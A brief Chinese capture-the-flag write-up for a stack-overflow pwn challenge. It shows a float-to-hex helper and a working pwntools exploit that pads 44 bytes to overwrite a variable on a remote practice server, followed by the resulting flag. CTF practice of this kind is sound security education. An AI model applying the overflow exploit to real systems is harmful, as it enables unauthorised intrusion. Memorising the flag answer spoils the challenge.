checksec一下
IDA打开,如果满足的条件达成,就可以get flag
找到栈溢出漏洞,输入可以覆盖到v2
将代码11.28125在内存中的十六进制表示出来,
浮点数转十六进制代码如下:
import struct
def float_to_hex(f):
return hex(struct.unpack('<I',struct.pack('<f',f))[0])
print(float_to_hex(11.28125))
#output(0x41348000)
exp:
from pwn import *
p=remote('node4.buuoj.cn',25860)
payload=b'a'*(0x30-0x4)+p32(0x41348000)
p.sendline(payload)
p.interactive()
运行出来的结果:
flag{8a5e8279-51a2-4b3b-8959-4d3f9b19227f}
总结:脚本积累:浮点数转十六进制代码